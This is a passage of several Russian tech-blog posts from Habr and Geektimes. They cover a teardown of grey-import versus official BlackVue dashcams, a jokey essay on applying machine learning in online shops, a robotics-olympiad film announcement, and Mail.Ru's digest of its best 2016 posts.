сантиметров у левого бока камеры) тот же самый. Первое, на что обращаешь внимание – другой цвет одной из плат. В «европейце» обе «пластинки» зелёные, у «китайца» одна – синяя. Однако… На деле это вовсе не показатель региональных версий, цвета могут меняться от партии к партии, так что смотрим дальше. Ваш взгляд наверняка уже привлёк жёлтый компонент – это суперконденсатор, он же ионистор. Данный компонент выполняет несколько целей. В литий-полимерных батареях, которые установлены, пожалуй, в 95% всех регистраторов, продающихся в России (и в 100% китайских аппаратов) обеспечивается автономная съёмка на протяжении от пары минут до получаса. Однако от перепадов температур такие аккумуляторы способны за один цикл зима-лето выйти из строя – полностью потерять ёмкость или вздуться. Вздувшийся аккумулятор – типичная распространённая сервисная проблема регистраторов Mio Кроме того, при полностью разряженной батарее (если не предусмотрен вспомогательный элемент питания на плате) сбиваются настройки даты и времени. Наконец, в минусовую температуру, скорее всего, вы не сможете включить регистратор, пока салон не прогреется (батарея не заряжается в при «минусе» — элементарная физика). Суперконденсатор не позволяет вести автономную съёмку, зато обладает другими преимуществами. Такой элемент гарантированно обеспечивает включение и работу регистратора при температурах вплоть до -20 °C. Заряженный за время записи ионистор гарантирует, что дата и время не собьются при полностью обесточенной камере. Тем не менее, суперконденсаторы могут отличаться по заложенному ресурсу работу. В ранних моделях бренда – BlackVue DR400G и BlackVue DR400G-HD II – устанавливалась сравнительно упрощенная (по сравнению с комплектующими линейки 2016 года) версия ионистора с заложенным ресурсом безотказной работы на один год. Это не значит, что ровно спустя 12 месяцев пользователь шел в ремонт. Тем не менее, при сравнительно высоких нагрузках из-за изменчивого контрастного климата (как это происходит в России) ремонт суперконденсатора требовался чаще, чем в странах вроде Мальты или Новой Зеландии с мягким ровным климатом на протяжении всего года. Так вот, в европейских версиях актуальной линейки BlackVue DR650S, включая модель BlackVue DR650S-2CH, используется разработанная позже версия фирменного ионистора. С заложенным ресурсом работы не менее трех лет. Внешне различить раннюю и более позднюю версию суперконденсатора не составляет труда, «годовой» ионистор поставляется в прорезиненной желтой оболочке. Именно такой, более дешёвый суперконденсатор применяется в китайских версиях регистраторов BlackVue для снижения себестоимости устройств. BlackVue DR650S-2CH, сверху – китайская версия, снизу – европейская (российская) BlackVue DR650S-2CH, справа – китайская версия, слева – европейская (российская) Современный ионистор выглядит совсем по-другому и внешне напоминает сдвоенные пальчиковые батареи в металлической оболочке. Именно такой суперконденсатор с высоким запасом «прочности» не менее трех лет и устанавливается в европейских (то есть, российских) моделях BlackVue. Пункт номер два – модуль W-Fi. В китайской версии на плате находится лишь непосредственно чип, причем заимствованный у модели позапрошлого поколения BlackVue DR500GW HD. Это устройство было первым аппаратом бренда с поддержкой Wi-Fi. Увы, скорость копирования видео по изначально разработанному чипу была в 2-3 раза ниже, чем в нынешних, современных модулях для моделей BlackVue линейки 2016 года с поддержкой беспроводной связи регистратора и смартфона. Интересно, что внешне вы не сможете различить Wi-Fi чипы предыдущих поколений и нынешнего поколения. Единственная разница – в китайской поставке «вырезали» антенну. BlackVue DR650S-2CH, модуль Wi-Fi. Справа – китайская версия, слева – европейская (российская) BlackVue DR650S-2CH, модуль Wi-Fi. Справа – китайская версия, слева – европейская (российская) Поэтому если в российском BlackVue DR650S-2CH ваш смартфон «достучится» до регистратора на расстоянии до 20 метров, то «китаец» – максимум до 1 метра. В большинстве случаев вы наверняка будете подключаться к регистратору с водительского сиденья. Тем не менее, даже здесь высоко подвешенная камера может оказаться вне зоны связи с вашей мобильной техникой. Особенно если вы сидите за рулём большой машины – джипа, грузовика или автобуса. Последнее различие между «официалом» и китайской поставкой – приемник GPS. Для начала обратим внимание на то, что модули с керамической антенной заметно разные внешне, хотя бы по габаритам. И вновь это не есть показатель региональных различий – подобное варьирование допустимо, ведь как и другие производители, BlackVue работает над уже выпущенными моделями. В случае необходимости в последующих партиях могут устанавливаться обновлённые комплектующие. BlackVue DR650S-2CH, антенна GPS. Справа – китайская, слева — «европейская». Тем не менее, важное различие между европейским и китайским приемником все же существует и заключается в батарее на плате. Если вы читали на Geektimes различные материалы о сравнительных разборах регистраторов, то наверняка знаете – такая батарейка нужна приёмнику, чтобы при выключенном регистраторе просчитывать перемещение спутников (по полученным последним данным на момент выключения камеры) и при последующем включении регистратора быстро определять местоположение устройства. Примеры батарей GPS-приемников для ускорения поиска спутников при «холодном» старте Такое решение с резервной батарейкой серьезно ускоряет «холодный старт», который вместо поиска спутников с нуля превращается в быстрый «горячий» старт. Китайская версия BlackVue DR650S-2CH оснащена более простой антенной, без батарейки, поэтому на установление стабильной связи со спутниками уходит в среднем до пяти, но порой и до 10 минут. В принципе, если вы выдвигаетесь из дома, это время «съедается» – пока заведёшь машину, пока выедешь со двора. С другой стороны, когда курсируешь по пути с работы домой, ты практически сразу попадаешь на оживленную дорогу. Поэтому хотелось бы получать запись трека с координатами «от и до», чтобы в случае аварии показать инспектору ДПС или суду не только видеоролик, но и карту с отображением проделанного пути. BlackVue DR650S-2CH, модуль GPS. Справа – европейская (российская) версия, слева – китайская версия Программа «обеления» Для «закручивания гаек» любителям продавать контрафакт BlackVue с самого первого года присутствия в России поступили очень просто. Например, для одной из самых первых в нашей стране моделей BlackVue DR400G-HD II русскую прошивку вообще было невозможно установить без помощи российского сервиса BlackVue. В свободном доступе была только бета-версия и кастомные переводы. Если пользователь пытался поверх английской версии (корейской, любой другой – неважно) ставить русскую, регистратор сразу умирал, то есть, превращался в «кирпич». Этот подход актуален до сих пор, о чем пользователей предупреждают на русскоязычном сайте BlackVue в разделе « Поддержка », где красными буквами написано: «УСТАНОВКА ДАННЫХ ПРОШИВОК НА КОНТРАФАКТНЫЕ ВИДЕОРЕГИСТРАТОРЫ МОЖЕТ ПРИВЕСТИ К ВЫХОДУ ИХ ИЗ СТРОЯ». Однако сами русскоязычные прошивки выложены в свободном доступе, и при желании с определенными трудностями их все же можно установить на контрафактную продукцию. Подчёркиваем – путем определенных манипуляций, попытка обновления стандартной процедурой (загрузка прошивки на карту памяти регистратора) приведет к «окирпичиванию» модели, то есть, приведению в полную негодность русифицируемого контрафактного экземпляра. С января 2017 года BlackVue ввел новый механизм защиты, при котором на контрабандные регистраторы вы никогда, никакими ухищрениями не сможете поставить русскую прошивку. Вообще никак. Только и исключительно в официальном сервисе. Поэтому у продавцов контрабанды вы получите модели на английском, китайском, но не на русском языке. Либо народные умельцы в конечном счёте сделают кривые кастомные прошивки на русском, по которым вы автоматически лишитесь гарантии официального сервиса BlackVue (а заодно – в «облачных» моделях – и доступа к интернет-функциям). «Соль» заключается в том, что корейский производитель предложил российскому дистрибутору модели с эксклюзивной программно-аппаратной связкой. То есть, чтобы в ваш китайский (какой угодно – испанский, корейский, индусский) BlackVue залить русскую прошивку, нужно не просто прийти в сервис. Необходимо заменить nand-память на плате. Выпаять установленную и впаять правильную. Иными словами, для российского рынка будут уникальные «залоченные» чипы nand-памяти. Тестовая nand-память с залоченной русскоязычной прошивкой Процедура кропотливой замены nand-памяти с китайской прошивкой на компонент с русской Операция проведена успешно — nand-память с залоченной русскоязычной прошивкой установлена на материнскую плату «серого» BlackVue DR650S-2CH Мы уже уточнили, что главным образом контрафактные модели BlackVue в России – это аппараты, произведённые для китайского рынка. Это устройства, которые оснащены рядом упрощенных более дешёвых компонентов – ради снижения конечной цены устройств на китайском рынке. По-хорошему для приведения таких устройств к «европейскому виду» нужно заменить модели Wi-Fi, GPS, переустановить суперконденсатор и сменить прошивку (с января 2017 года – вместе с nand-памятью). Поэтому с 2017 года BVC Trade, единственный официальный поставщик регистраторов BlackVue в России, предлагает специальную программу «обеления» контрафактных регистраторов. Операция по замене чипа и других необходимых комплектующих + официальная установка русскоязычной прошивки – за все эти операции пользователю предлагается заплатить 10 000 рублей. После чего он получит не только адаптированный для России аппарата, но и полноценную годовую гарантию российского сервиса BlackVue, исчисляемую с момента «обеления» видеорегистратора. В эти же 10 000 рублей входит, в том числе, ситуация, когда вы предоставляете для «обеления» некачественно восстановленную китайскую версию. Где помимо замены nand и региональных комплектующих потребуется полная диагностика и ремонт аппарата. После прохождения процедуры аппарат будет считаться официальным, «белым» и на него, как мы уже отметили, будет распространяться фирменная гарантия. Исчисляемая с момента прохождения процедуры «обеления». Также производителем разрабатываются меры по региональным ограничениям «облачных функций» с 2017 года, именно для российских версий линейки BlackVue DR650S. Это значит, что в английских, немецких и других поставках BlackVue 650S вы никогда не сможете активировать Cloud на территории России. То есть, зарегистрируете аккаунт, войдете в него, но подключение новых камер будет заблокировано. Наконец – а что же будет с уже ввезенной контрабандой? Пока BlackVue и BVC Trade рассматривают различные варианты. Например, когда при установке последующих обновлений прошивка будет определять, является ли модель «белой». Если нет – устройство превратится в «кирпич», с которым опять-таки придется идти в официальный сервис. Выводы Цель программы «обеления» и в целом борьбы единственного официального российского дистрибутора регистраторов BlackVue с контрафактом – обеспечение всех пользователей BlackVue в России нормальными работоспособными аппаратами и полноценным фирменным сервисом производителя. Ведь для китайских версий моделей бренда это невозможно из-за использования не только другой прошивки, но и отличающегося «железа». Тогда как «обеление» позволяет произвести российскую адаптация устройства под ключ – с заменой компонентов на «евроверсию» и установкой российской прошивки. В выпущенных с четвёртого квартала 2016 года и далее регистраторах бренда прошивка с русским языком будет «залочена» с чипом памяти. Поэтому владельцам «серых» устройств для получения «нормальной» прошивки без вариантов придется обратиться в официальный сервис и пройти полную процедуру «обеления». Залоченная память с российской прошивкой поможет окончательно побороть контрафакт и лишить контрабандистов возможности продавать «серые» аппараты под видом «белых». Ведь пользователь сейчас на момент покупки не может самостоятельно понять, «белая» поставка или нет, будет аппарат нормально работать в России или нет (хотя с нашими советами стало гораздо проще разобраться, какой же именно аппарат – «серый» или официальный, «белый» вам предлагают приобрести). Но если с аппаратом возникают проблемы, последнее, о чем думает пользователь – о том, что его обманул именно продавец. Обычно возникает лишь мысль о том, что BlackVue делает регистраторы низкого качества, а это наносит прямой ущерб репутации бренда. Именно поэтому BlackVue в лице своего официального дистрибутора в России предпринимает все возможные меры к тому, чтобы с одной стороны защитить репутацию серьёзного топового бренда. А с другой всё-таки оказать действенную помочь тем, кто попался на удочку контрабандистов и случайно купил «серую» не полноценно работающую региональную китайскую версию аппарат.
https://geektimes.ru/company/bvc_trade/blog/284170/
habrahabr
Расширенная регуляризация нейронных сетей в интернет-магазинах — с помощью… напалма
['нейронные сети', 'электорнная коммерция', 'машинное обучение']
Подмигнув дедушке Энштейну, поправив ранец с напалмом и пригладив стильную черную маечку с изображением формулы закона нормального распределения, ведущий аналитик распахнул двери PR-отдела,...
Подмигнув дедушке Энштейну , поправив ранец с напалмом и пригладив стильную черную маечку с изображением формулы закона нормального распределения , ведущий аналитик распахнул двери PR-отдела, блистательно улыбнулся и спросил: «Ребят, продолжаете собирать e-mail клиентов в эксельках и креативите методом блуждания левой руки с закрытыми глазами?». Получив радостное «ага :-)», боец мысленно поблагодарил Джона Непера за проделанную работу на благо просвещения человечества и сокращение рутинного труда и… бодро нажал на гашетку. Альберт Энштейн всегда вдохновлял аналитиков на внедрение передовых алгоритмов Спустя 5 минут топливо в ранце уже закончилось, было довольно тепло, если не сказать — жарко, но коллеги (?) ничего не замечали и продолжали считать лайки под своими постами в соцсетях. «Вот это концентрация» — подумал аналитик, взял миниган и шагнул в отдел по работе с клиентами в CRM. «Ребят, клиентов сегментируете по числу подарков от них на новый год, а от слова 'кластеризация' начинает резко болеть голова в области лба?». Не дожидаясь ответа и нашептывая: «Я вас сейчас научу считать churn-rate и CLV в уме» — аналитик сделал шаг вперед и провалился в атмосферу магического мышления, суеверий и стим-панка . Стим-панк вроде о прикладной науке, но когда присматриваешься — магия, чистая магия! Впереди был отдел управления контентом, а из инструментов популяризации новых эффективных алгоритмов оставались квантовый аннигилятор и старенькая, но с хорошим тембром в стиле «BMW» — бензопила. Выбрав проверенную боевую подругу, аналитик тихо постучал в дверь контентного отдела, виновато вошел и спросил: «Продолжаете покупать на amazon и aliexpress — Ага!», «Продолжаете упорно не использовать персонализацию в каталоге интернет-магазина, не верить в ее эффективность и не пользоваться AB-тестированием — Ну конечно, все равно же что-то продается!». «Да пребудет с нами сила» — это последнее, что было услышано из уст санитара леса, пока его не успел заглушить звук заведенного мотора… Из средств внедрения оставался еще тайный ящик под столом и… отдел разработки. Именно для него предназначалось тайное оружие, по эффективности превосходившее повидавший многое на границах галактики квантовый аннигилятор.… Хорошего пива в ящике хватило на всех и с запасом, а печеньки пришлись по вкусу при обсуждении с дорогими братьями по оружию тонкостей разгона Keras на продакшене. Денек — удался! «К вам на собеседование дата-сайнтист» — услышал прикорнувший на диванчике в обеденный перерыв покоритель многомерных пространств и… проснулся. Что за странный сон, к чему бы это? Ах да, мы же внедряем нейросети в интернет-магазине — за дело! «Какой мне странный сон приснился» – подумала Алиса и побежала домой, чтоб не опоздать к чаю. К чему это я? ) Проблематика поста проста — как заставить интернет-магазин приносить бОльшую прибыль при малых затратах на новейшие технологии машинного обучения. И как убедить владельца магазина и сотрудников — ими пользоваться! (и рука снова тянется к оружию) Софт — близок и доступен как никогда ранее С одной стороны, сейчас, как никогда ранее, доступны и готовы к быстрому прототипированию и, в принципе, внедрению — базовые, бородатые, усатые и животатые методы машинного обучения, которые могут сделать бизнес интернет-магазина — прибыльнее. Любите экстремальные удовольствия — да пожалуйста, «pip install» и, пока наливается чашечка кофе, на ноуте аналитика уже установлено все, что позволит поднять нейронку и потренировать на небольшом объеме данных. Получите результат на несколько процентов лучше. Если вы точно уверены, что модель вам пригодится, а данных ожидается много — можно потратить немного больше времени на более многословном языке и получить близкий результат с большей гарантией быстрой работы в продакшене . В общем, с технологиями сейчас все очень доступно и можно особо не думать — бери готовое с поддержкой тензоров и GPU, запускай на ноутбуке аналитика какую-нить готовую хрень на python, настраивай с боя ssh-проксирование и внедряй сервис для клиентов. Алгоритмы для интернет-магазина, которые скорее всего увеличат его прибыль Тут тоже все радужно и доступно. Пройдем по каждому. Персональные рекомендации Если данных относительно мало — бери готовый сжиматель матриц на Spark и готово. Если данных довольно много — можно засунуть их память и гонять классическую коллаборативную фильтрацию. Из свеженького и вкусненького и есть бюджет на кластер с GPU — можно попробовать приготовить Amazon DSSTNE . Тут коллеги обучают классический denoising autoencoder — который «восстанавливает» персональные рекомендации клиента. Моделька широко-плоская, зато матрички множатся кусками на разных ядрах/машинах и на C++, оставляя TensorSLOW далеко за бортом. Amazon DSSTNE получает от ооочень длинного вектора Товаров Пользователя значительно более короткую distributed representation (набор категорий/подкатегорий Товаров), которая потом расжимается в «полный» вектор рекомендаций Товаров Пользователю Для content-based рекомендаций можно сначала задействовать готовый поисковик , а затем посмотреть в сторону «смысловых векторов» слов и фраз — начав с Word2Vec или GloVe . Продвинутый поисковик Тут можно нередко улучшить классический поисковый алгоритм, используя семантическое ранжирование . Только не пытайтесь повторить эксперимент Яндекса с DSSM в лоб — посмотрите входную размерность их нейронной сети и посчитайте, сколько и какого железа вам нужно будет для этого полета в космос. Чатбот Чтобы научить чатбота отвечать на вопросы нужно… немало потрудиться головой и ручками. Проще всего сделать это на… регулярках и предикатах первого порядка, хранимых в базке типа MySQL. Еще можно сделать формочки с параметрами в стиле заказывания билетов на самолет в США . А на популярный вопрос «а как сделать чатбота на нейросети» — в ответ хочется истерически хохотать, вырывать листики из известной книжечки известного профессора , склеивать самокрутки и выпускать восьмерки на боку (символ бесконечности) в лицо вопрошающего. Автоматизация техподдержки Тут тоже готовая история с известными реализациями. Проблемы две: нужен большой корпус диалогов на языке магазина (а для русского языка ситуация с корпусами пока плачевная ) и в Recall@5 будут попадать нерелевантные ответы, если пришел новый вопрос (да, да, та самая generalization ), т.к. нейронные сети пока в основном помогают, лишь изредка выполняя работу лучше человека (а для этого нужно убиться , тренируя их). Next Best Offer Тут можно отслеживать внутренние циклы Покупателя интернет-магазина и в ключевые точки что-то ему предлагать купить. Например вести цикл лояльности каждого Покупателя. Алгоритмов немало, от бородатых моделей Маркова до современных и эффективных рекуррентных ячеек . Кластеризация клиентов Тут тоже давно все готово и легко развернуть за минуты . Можно определить целевые группы клиентов и бомбить их персональными рекомендациями! В нашем продукте мы реализовали пока часть этих алгоритмов: content-based рекомендации и коллаборативную фильтрацию. Ну чтобы было с чего начинать… сражение. А как доказать, что алгоритмы работают? Вот тут уже становится интереснее. Вот у вас в интернет-магазине появились в умные- в умные питонисты-датасайнтисты-аналитики... Вот вы подняли за недельку базовые модельки вышеперечисленных популярных алгоритмов на их рабочих ноутбуках... Вот вы начали предлагать клиентам персональные рекомендации и делать емейл-рассылки по кластерам и предлагать покупателям Товары в моменты, когда им «сложно отказаться»... И… и приехали! Доказать, что стало лучше и выделенные ресурсы на в умных ребят, много умных непонятных слов и еще более непонятных картинок в matplotlib окупаются — оказывается непросто, очень непросто. Страшные и непонятные картинки на ноутбуках аналитиков К большому и огромному сожалению, толковых статей и методик на тему «как доказать, что персональные рекомендации работают» на порядки-порядки меньше, чем увлекательных статей на тему GAN или по генерации порнографических изображений с помощью глубоких нейронок. А когда вчитываешься в то, о чем пишет тот же NetFlix , в то, как коллеги грубой эмпирикой, искренней верой и заклинанием вуду измеряют и совершенствуют свою рекомендательную систему — становится очень весело (вы статейки обязательно прочитайте, если не читали, там реальный опыт пионеров). По сути, все сводится к «вере» и интенсивному и постоянному AB-тестированию при котором часть клиентов проходят мимо обученных моделей, а часть — через алгоритмы машинного обучения. Постоянная обратная связь — обязательна Мы видим, что интенсивность персонализации контента постоянно увеличивается. Через наши смартфоны гиганты индустрии интенсивно следят за нами и, видимо, но не доказуемо, они уверены, что персонализация контента — увеличивает их прибыль и затраты на в умных дата-сайнтистов-аналитиков и GPU — оправданы. Известные нам гиганты живут с рекламы. Чем более она таргетированна, тем больше их прибыль. Именно поэтому, как мне кажется, они и не только они, а уже скорее все известные IT-компании все больше и больше инвестируют в анализ данных и использование алгоритмов машинного обучения для продвижения своих продуктов. Требования постоянного контроля над эффективностью персонализации контента для Клиентов с и без машинного обучения и, банальный, контроль качества работы обученных моделей на реальных данных — это еще один проект, скорее даже больший по объему и ресурсам для внедрения, чем использование готовых исследованных и выложенных в открытый доступ алгоритмов и фреймворков. Это еще не все. Сравнение работы алгоритмов, которые, как известно, могут взять и перестать работать (лучше, чем было до них) — требует постоянного измерения конверсии и AB-тестирования во всех структурных подразделениях: от отдела маркетинга до отдела по работе с клиентами. Иначе — вы получите красивую современную, дорогую (особенно если возьметесь за нейронные сети с GPU) и бестолковую игрушку и набор гуру в команду, говорящих на непонятном языке. Выводы. С чего начинать интернет-магазинам прыгать в уходящий поезд? Надеюсь стало понятно, что крупные игроки на рынке давно просчитали рост прибыли от использования машинного обучения для персонализации контента, активно развивают это направление, нанимают лучшие умы и эксплуатируют лучшее железо (GPU). Информации на тему эффективности в открытом доступе — днем с огнем не сыскать. Но судя по докладам на конференциях 1-2 модели из грубо 10 взлетают и позволяют не только увеличить конверсию, но и обойти конкурентов — став ближе к Клиентам. Пока вы не начали прозрачно и системно измерять конверсию — вам персонализация с помощью машинного обучения скорее всего не поможет и даже усложнит бизнес-процессы. После создания четких и постоянных метрик конверсии, учитесь проводить системное AB-тестирование изменений интернет-магазина, сделанных вручную (дизайн главной страницы поменяли, логику мастера заказа). Если ваша цель — вывести отдел маркетинга на следующую космическую скорость, то проследите как идет работа с электронными адресами Клиентов: в эксельках ли или по уму и другими данными. Если процесс можно автоматизировать — сделайте это. Затем попробуйте сделать сегментацию с помощью машинной кластеризации, сделайте тестовую рассылку и с помощью AB-тестирования убедитесь в результате. Если ваша цель — вывести отдел по работе с клиентами на орбиту Марса, аналогично проследите, что список клиентов не находится в эксельке или переписке. Минимум — он должен быть в CRM. Затем с помощью примитивных техник (байесовский классификатор, логистическая регрессия) попробуйте, при включенном AB-тестировании, начать работать с churn-группами и привлекательными с помощью CLV-анализа Клиентами. Хорошенько подумайте, привлеките в умных аналитиков — как убедиться, что внедренные модели улучшили конверсию и релевантность предложений Клиентам. Это может оказаться гораздо сложнее — чем все вместе взятое и сделанное раньше :-) По секрету: конверсия станет гораздо выше, но доказать это австралопитекам — заявка на нобелевскую премию. После получения устойчивого результата и выстраивании базовых процессов в структурных подразделениях интернет-магазина можно подумать уже об увеличении качества алгоритмов с помощью нейронных сетей или привлечения более ценных специалистов датасайнтистов-аналитиков. Помните, что улучшать можно только то, что вы можете измерять! А если сделать иначе? Люди, к сожалению, в большинстве не любят меняться. Кто будет что-то улучшать на 5%, если и так работает и 20 лет до этого работало и «все так делают». Понятно, предложив в бухгалтерии провести «дискриминантный анализ Фишера» максимум, что вы можете достичь — это повысить у наиболее активных женщин, любящих умных мужчин, выработку гормонов. Но в основном — вас будут тихо ненавидеть :-) Единственный сотрудник, который скорее всего не откажется от лишних 5% конверсии и прибыли — это руководитель отдела продаж, но доказать ему, что персонализированный с помощью машинного обучения контент работает — вы не сможете без тяжелых наркотиков . Убедить 20 лет продающих без AI людей сможет только постоянно проводимое на сайте AB-тестирование в виде розовой кошечки и зеленого щеночка. Говорят, иногда помогают выкрашенные в белый цвет девушки с Физмата, рассуждающие о прелестях точных измерений всего и всегда — но найти этих богинь очень трудно, гораздо больше богинь, которые разбираются в соцсетях лучше, чем в работе собственного мозга. Есть небольшой шанс, что тяжелые наркотики помогут убедить отдел продаж использовать персонализацию контента Итоги В общем, коллеги, работающего на 100% рецепта внедрить новые технологии персонализации и предиктивного маркетинга в интернет-магазин — нет. Иногда поможет децимация . Иногда — реализация наяву сна из начала поста. Но лучше, конечно, действовать терпением и любовью — если на них выделен бюджет :-) По опыту — нужна помощь и поддержка сверху и четко определенная цель: увеличить конверсию и постоянно это измерять и измерять. Ослабите хватку — останетесь с дорогой игрушкой и кучей новых неизвестных слов. Всем удачи и с наступающим — желаем побольше непрерывных ABCDE-тестирований в новом году!
https://habrahabr.ru/company/bitrix/blog/318632/
habrahabr
WRO 2016: премьера фильма о победах сборной России на Всемирной олимпиаде роботов
['олимпиада', 'олимпиадное программирование', 'роботы', 'роботостроение', 'робототехника', 'программирование', 'индия', 'иннополис']
Наша сборная завоевала 4 медали в «Футболе роботов», «Творческой» и «Основной» категориях на международных соревнованиях по робототехнике в индийской столице Нью-Дели. Фильм рассказывает о...
Наша сборная завоевала 4 медали в «Футболе роботов», «Творческой» и «Основной» категориях на международных соревнованиях по робототехнике в индийской столице Нью-Дели. Фильм рассказывает о том, как в течение трёх дней 47 российских участников 10—19 лет боролись за медали на Всемирной олимпиаде роботов. Юные робототехники привезли домой 2 золотые, 1 серебряную и 1 бронзовую медали. Отбор и подготовка сборной России проходили с 5 по 12 августа на базе Университета Иннополис. Главная тема Всемирной олимпиады роботов этого года была посвящена борьбе с отходами. Поэтому участники разрабатывали проекты, которые помогут очистить Землю от мусора и загрязнений. Вместе с героями зрители отправятся в путешествие по Индии и узнают, как сборная сражалась за медали. Герои расскажут, что их удивило в Нью-Дели, с какими трудностями они столкнулись и какие у них планы на следующий год.
https://habrahabr.ru/company/innopolis_university/blog/318672/
habrahabr
Вспоминаем 2016-й: наши лучшие посты года
['mail.ru', 'посты', 'итоги']
Новый год всё ближе, остались считанные дни. Пора подвести итоги. Всего за этот год мы опубликовали почти 200 постов (этот — 198-й) с суммарным рейтингом 6912, получили 6245 комментариев, 21835...
Новый год всё ближе, остались считанные дни. Пора подвести итоги. Всего за этот год мы опубликовали почти 200 постов (этот — 198-й) с суммарным рейтингом 6912, получили 6245 комментариев, 21835 добавлений в избранное и почти 3 миллиона просмотров! Мы сели и с умилением и ностальгией вспомнили лучшие посты в нашем блоге за 2016 год. Присоединяйтесь! Опасное видео: как я нашёл уязвимость в видеохостингах и не умер через 7 дней от cdump В этом посте программист бэкенда Облака Mail.Ru рассказал о том, как он нашёл и зарепортил одну интересную уязвимость, за что получил солидный гешефт. Иван Григоров: «Для топовых багхантеров $25К в месяц — не проблема» от Penny_2_Lane Как начать искать баги? Может ли это быть единственным источником дохода? В каких Bug Bounty участвовать? Сколько зарабатывают багхантеры? И почему поиском уязвимостей особенно выгодно заниматься в кризис? Ответы на эти и другие вопросы читайте в нашем интервью с одним из лучших багхантеров в рейтинге платформы HackerOne. Медведь, расчленёнка и 14 февраля от puelle К 14 февраля мы решили собрать роботизированного мишутку, который не просто смог бы общаться и дарить людям радостные объятия, но и анализировал бы действия человека. Ведь объятия, как вялые, так и интенсивные, способны выдать истинные чувства и выявить скрытые эмоции. Вдруг в компании есть два человека, которые обнимаются совершенно одинаково? Что, если PHP-программисты предпочитают продолжительные прикосновения, а перловики ограничиваются сухим лапопожатием? С помощью робомедведя нам удалось собрать самые необычные данные из жизни айтишников. Как за 7 дней превратиться из server-side-программиста в client-side от nikiasi Рассказ свежеиспечённого мобильного разработчика о том, как он круто поменял свою специализацию, уйдя с должности руководителя группы C/C++-разработки Почты Mail.Ru. Немного размышлений и советов по оптимизации кода на С++ от nekipelov Как подсказывает Кэп, в этом посте один из наших программистов делится советами по оптимизации кода на С++, чтобы скорость его работы не падала ниже плинтуса Python/Ruby. Эксперименты с malloc от markhor Все POSIX-реализации malloc так или иначе упираются в ряд конкретных функций. По сравнению с наивным выделением и освобождением страниц, округляя необходимый размер в большую сторону, malloc имеет много преимуществ. В этой статье было проведено три эксперимента с malloc на POSIX-совместимых операционках — Linux и OS X. Сравнение Tarantool с конкурентами в Microsoft Azure от rvncerr Мы решили проверить, насколько хорошо Tarantool работает в Microsoft Azure в сравнении с другими подобными предложениями — Azure Redis Cache, Bitnami Memcached, Aerospike и VoltDB. Под словом «хорошо» будем понимать «быстро», то есть сравнивать будем число обрабатываемых запросов в секунду (Throughput, RPS). (Почему) Почта Mail.Ru включает строгий DMARC от z3apa3a В этой статье мы пояснили некоторые технические детали включения строгой DMARC-политики на всех доменах, принадлежащих Почте Mail.Ru, и дали рекомендации владельцам сервисов, почтовых серверов и списков рассылки. Лучшие практики Go, шесть лет в деле от FZambia Масштабный материал о лучших практиках Go, прошедших проверку временем. Какие из них устарели или стали неэффективными? Что нового появилось за последний год? Руководство по работе с Redux от Infected В этом руководстве рассмотрено создание с нуля full-stack приложения с использованием Redux и Immutable-js. Применив подход TDD, вы пройдёте все этапы конструирования Node+Redux бэкенда и React+Redux фронтенда приложения. Помимо этого, рассмотрено применение таких инструментов, как ES6, Babel, Socket.io, Webpack и Mocha. Набор весьма любопытный, и вы мигом его освоите! Как настроить расширяемую систему для регрессионного тестирования на телефонах: опыт мобильной Почты Mail.Ru от p_alexey В статье рассказывается о том, как мы построили с нуля гибкую и расширяемую систему для выполнения автотестов на Android-смартфонах. Сейчас у нас используется около 60 устройств для регрессионного тестирования мобильного приложения Почты Mail.Ru. В среднем они тестируют около 20 сборок приложения ежедневно. Для каждой сборки выполняется около 600 UI-тестов и более 3500 unit-тестов. Стилизация изображений с помощью нейронных сетей: никакой мистики, просто матан от mephistopheies Наверняка вы заметили, что тема стилизации фотографий под различные художественные стили активно обсуждается в этих ваших интернетах. Читая все эти популярные статьи, вы можете подумать, что под капотом этих приложений творится магия, и нейронная сеть действительно фантазирует и перерисовывает изображение с нуля. Так уж получилось, что наша команда столкнулась с подобной задачей: в рамках внутрикорпоративного хакатона мы сделали стилизацию видео, т.к. приложение для фоточек уже было. В этой статье мы с вами разберемся, как это сеть «перерисовывает» изображения, и рассмотрим статьи, благодаря которым это стало возможно. Особенности файловых систем, с которыми мы столкнулись при разработке механизма синхронизации Облака Mail.Ru от askogorev Одна из основных функций десктопного клиента Облака Mail.Ru — синхронизация данных. Ее целью является приведение папки на ПК и ее представления в Облаке к одинаковому состоянию. При разработке этого механизма мы встретились с некоторыми, с первого взгляда, достаточно очевидными особенностями различных файловых и операционных систем. Однако если о них не знать, можно столкнуться с довольно неприятными последствиями (не получится загрузить или удалить файл). В этой статье мы собрали особенности, знание которых позволит вам правильно работать с данными на дисках и, возможно, убережет от необходимости срочного хотфикса. Массивы в РНР 7: хэш-таблицы от AloneCoder В статье подробно рассмотрено, как устроены хэш-таблицы в РНР 7, как с ними можно работать с точки зрения языка С и как ими управлять средствами РНР (используя структуры, называемые массивами). Не забывайте, что хэш-таблицы мы используем везде (обычно в роли словарей), следовательно, нужно проектировать их так, чтобы они быстро обрабатывались процессором и потребляли мало памяти. Эти структуры решающе влияют на общую производительность РНР, поскольку местные массивы не единственное место, где используются хэш-таблицы. Ломаем сбор мусора и десериализацию в PHP от AloneCoder Рассказ о двух use-after-free уязвимостях в алгоритме сбора мусора в PHP. Одна присутствует во всех версиях PHP 5 ≥ 5.3 (исправлена в PHP 5.6.23). Вторая — во всех версиях PHP ≥ 5.3, включая версии PHP 7 (исправлена в PHP 5.6.23 и PHP 7.0.8). Уязвимости могут удалённо применяться через PHP-функцию десериализации. Используя их, авторы статьи отыскали RCE на pornhub.com, за что получили премию в 20 000 долларов плюс по 1000 долларов за каждую из двух уязвимостей от комитета Internet Bug Bounty на Hackerone. PHP: неправильный путь от AloneCoder В мире PHP-программирования существует набор трендов. Некоторые люди активно продвигают их (в книгах и на сайтах) как «современный PHP», а другие подходы выставляют как устаревшие, глупые или просто неверные. Похоже, все эти люди без устали стараются заставить каждого программировать так, как они считают нужным. Эта статья написана, чтобы поделиться прагматичным взглядом на PHP-программирование. Взглядом, продиктованным опытом и практическими последствиями, а не популярными тенденциями, теориями или академическими догмами. Frontend: Разработка и поддержка (+голосование) от RubaXa Давайте представим, что вас перевели на новый проект. Или вы сменили работу и о проекте максимум только слышали. Вот вы садитесь за рабочее место, к вам приходит менеджер, жмёт руку и… прямо сходу открывает страницу проекта, тыкает пальцем в монитор и просит вставить «информер о предстоящем событии Х». На этом вы расстаётесь… Что делать? С чего начать? Как создать «информер»? Где найти нужный шаблон? И море других вопросов. Это рассказ о том, как мы стараемся организовать эти процессы, какие инструменты создаём для препарирования SPA. Кроме этого, мы поговорим о технических подробностях реализации Live Coding / Hot Reload и чуток о VirtualDom и React с 